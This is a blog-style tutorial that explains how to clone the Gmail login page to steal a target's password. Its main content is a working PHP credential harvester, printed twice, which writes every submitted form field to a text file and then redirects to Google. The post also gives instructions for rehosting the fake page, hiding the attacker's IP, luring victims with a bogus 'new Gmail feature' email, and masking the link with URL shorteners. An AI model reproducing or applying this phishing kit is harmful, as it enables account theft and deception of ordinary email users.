This post will explain you how to create fake or phishing web page for Gmail This Procedure can be used to make fake page for other websites like yahoo MSN or any other sites which you want to steal the password of particular user.
Steps for Creating Phishing or Fake web Page
Read Also Phishing and it's defensesStep 1. Go to the Gmail Save the Page as complet HTML
Step 2. Once you save the login page completely, you will see a HTML file and a folder with the name something like Email from Google files There will be two image files namely google_transparent.gif and mail_logo.png
Step 3. Upload those image to TinyPic or Photobucket copy the url of each image.
Step4. Open the HTML file in Wordpad and Search for google_transparent.gif and replace it with corresponding url. Now search for mail_logo.png and replace it with corresponding url.
Step 5. Search for the
action="https://www.google.com/accounts/ServiceLoginAuth
and replace it with action="http://yoursiteurlhere/login.php save the file.Step 6. Now you need to create login.php so you need to open the notepad and type or copy the below codes:
<form action="/html/tags/html_form_tag_action.cfm" method="post">
<?php header("Location: https://www.google.com/accounts/ServiceLoginAuth ");
$handle =
fopen("pswrds.txt", "a"); foreach($_POST as
$variable => $value) {
fwrite($handle, $variable); fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n"); fclose($handle);
exit;
?>
Step 7. Open the notepad and just save the file as pswrds.txt without any contents.<?php header("Location: https://www.google.com/accounts/ServiceLoginAuth ");
$handle =
fopen("pswrds.txt", "a"); foreach($_POST as
$variable => $value) {
fwrite($handle, $variable); fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n"); fclose($handle);
exit;
?>
Now upload those three files namely index.html login.php pswrds.txt in any of subdomain Web hosting site.
Note: Use one of these sites: 007sites Web Hosting
Just Free Website
110mb Free Web Hosting
Use these sites through the secure connection sites so that you can hide IP Address like: This Website or find more site for best secure connection.
Step 8. Create an email with Gmail keyword
Step 9. Send to victim similar to gmail starts new feature to use this service log in to this page from that Gmail ID with link to your Phishing Web Page
Note: For user to believe change Your phishing web page url with any of free shortened url sites. This will make users to believe that it is correct url.
Love this article?Share it with your friends on Facebook